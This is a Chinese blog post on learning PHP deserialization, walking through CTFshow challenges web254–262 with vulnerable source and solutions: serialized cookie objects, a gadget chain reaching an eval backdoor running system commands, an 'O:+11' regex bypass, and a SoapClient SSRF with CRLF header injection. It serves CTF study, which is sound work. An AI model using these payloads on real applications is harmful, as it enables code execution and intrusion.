浅学PHP反序列化
Lwwww Lv2

浅学PHP序列化:serialize()

序列化:把对象转换为可传输的字节序列的过程–是为了解决在不同的机器之间传输复杂数据类型的一种机制

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

本次学习主要参考baozongwi师傅的php反序列化文章Y4tacker[CTF]PHP反序列化总结辅助学习😘

CTFSHOW靶场主要参考ZredamanJ师傅的ctfshow 反序列化

推荐课程陈腾老师的反序列化课程陈腾老师的ssti的课也很好👍

反序列化:把字节序列化转换为对象的过程

序列化与反序列化的最终目的:实现对象的跨平台存储,网络传输

为什么要有序列化呢?

就是因为序列化方便呗,占用小空间传递更多的信息

1
2
3
4
5
6
7
8
9
10
demo:
<?php
class me{
public $name=lww;
public $age=20;
public $ctf=web;
}
echo serialize(new me());

回显:O:2:"me":3:{s:4:"name";s:3:"lww";s:3:"age";i:20;s:3:"ctf";s:3:"web";}

在这里的格式为:变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容

在这里还涉及到一个基础的知识点就是php是面向对象的如果不了解可以去菜鸟教程熟悉一下

魔术方法

PHP 中的魔术方法是指那些以双下划线(__)开头的特殊方法。它们在特定的情况下自动调用,用于执行特定的功能,比如在对象序列化时、访问未定义的属性或方法时等。这些方法为PHP编程提供了强大的工具,使得可以更简洁地执行复杂的任务。

__construct() //当创建新对象时自动调用。
__destruct() //对象不再被使用且需要被销毁时调用。
__call($name, $arguments) //当调用一个不可访问的方法时调用。
__callStatic($name, $arguments) //当调用一个不可访问的静态方法时调用。
__get($name) //用于读取不可访问的属性。
__set($name, $value) //用于写入不可访问的属性。
__isset($name) //当对不可访问的属性调用 isset() 或 empty() 时被调用。
__unset($name) //当对不可访问的属性调用 unset() 时被调用。
__toString() //当尝试将对象当作字符串输出时调用。
__invoke() //当尝试将对象当作函数调用时执行。
__clone() //当对象被复制时调用。
__sleep() //在序列化前调用,用于清理对象,并返回表示哪些属性需要被序列化的数组。
__wakeup() //在反序列化后调用,用于重新初始化对象的属性或执行其他重建任务。

存在自动调用,可以相互调用

ctfshow 反序列化

web254

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

payload

https://03de7056-2630-45a9-b5a3-f21a6e0a8e3c.challenge.ctf.show/?username=xxxxxx&password=xxxxxx

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

/*发现要从cookie中获取值并且需要把flase改为ture*/
1
2
3
4
5
6
7
8
9
10
11
12
13
payload
<?php
class ctfShowUser{
public $isVip='true';
public $username='xxxxxx';
public $password='xxxxxx';
}
$a=new ctfShowUser();
echo urlencode( serialize($a));

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3B%7D
url?username=xxxxxx&passname=xxxxxx

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这个题其实就是使得username与password不相同,用上题的脚本稍作修改就行

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload:
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();//这就是在创建时被调用
}
}
class backDoor{
private $code="system('tac f*');"; //在实际中多试试tac /f*或者tac f*
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
不能直接private $class=new backDoor();来赋给class一个类的值,只能通过__construct来赋值,但是可以直接赋给其字符的值。
要注意的是用user传命令时需要带个分号
看好要求是去cookie里面传参

construct–demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/* construct 构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作*/
class Demo{
public $name="lww";
public $age=20;
public function __construct(){
$this->name="Demon";
$this->age=21;
echo "construct被调用\n";
}
}
$a=new Demo();
echo serialize($a);
/*
construct被调用*/


O:4:"Demo":2:{s:4:"name";s:5:"Demon";s:3:"age";i:21;}

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
1
2
3
4
5
6
7
8
9
10
11
分析:
本题的难点在于过滤
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
正则过滤[oc]是匹配o字符或者c字符,\d匹配一个数字字符,等价于[0-9],+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过了
检查 $_COOKIE['user'] 这个 Cookie 的值是否不包含符合正则表达式 /[oc]:\d+:/i 的模式。如果不包含,则条件为真,执行 if 语句块内的代码;如果包含,则条件为假,跳过 if 语句块内的代码。在实际应用中,这种检查通常用于防范 PHP 反序列化漏洞,因为某些恶意的序列化字符串可能包含 O: 或 C: 开头的模式。
为了躲避检查+11可以躲开\d的纯数字字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload:
user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac f*');";
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b);

WEB259

这题考查PHP原生类的反序列化

先放题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
flag.php 
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

然后实例里面的php页面是
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

大致流程为:

1、通过访问一个不存在的方法,调用原生类SoapClient的_call方法

2、通过SoapClient原生类里面带有的user_agent构造处POST方法

3、User-Agent和Content-Type间通过\r\n分割,因为在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的

4、利用其中的location为http://127.0.0.1/flag.php,构造SSRF,可以让访问flag.php的IP为127.0.0.1

[!TIP]

关于php原生类

1
2
3
4
5
PHP 原生类(Native Classes)是指 PHP 语言内置的类,由 PHP 核心或官方扩展直接提供,无需用户自行定义即可直接使用。这些类通常提供了常用的功能(如日期处理、文件操作、异常处理等),是 PHP 开发中的基础工具。
主要特点
无需定义:原生类已随 PHP 安装包或扩展默认提供。
高效稳定:经过 PHP 官方优化和测试,性能可靠。
功能明确:每个类专注于解决特定领域的问题。

Y4tacker的反序列化总结里面的php原生类反序列化板块有详解,内容可能较多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload:
<?php

$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));

echo urlencode(serialize($client))

?>

/*
?vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A10%3A"127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A138%3A"ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D
然后访问flag.txt


WEB260

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

直接传入?ctfshow= ctfshow_i_love_36D就行

WEB261

WEB262

字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php



error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

这段 PHP 代码的主要功能是接收来自用户通过 GET 请求传递的三个参数 fmt,并使用这些参数创建一个 message 类的对象。在创建对象后,将对象序列化,把序列化字符串中的 fuck 替换为 loveU,再对处理后的字符串进行 Base64 编码,最后将编码后的结果作为一个名为 msg 的 Cookie 发送给用户。同时,代码还会输出一条消息提示用户消息已发送,并将当前 PHP 文件的源代码高亮显示出来。

 给亮汪汪买点狗粮吧⋆⋅☆(✪Ω✪)☆⋅⋆
Powered by Hexo & Theme Keep
Total words 19.5k Unique Visitor Page View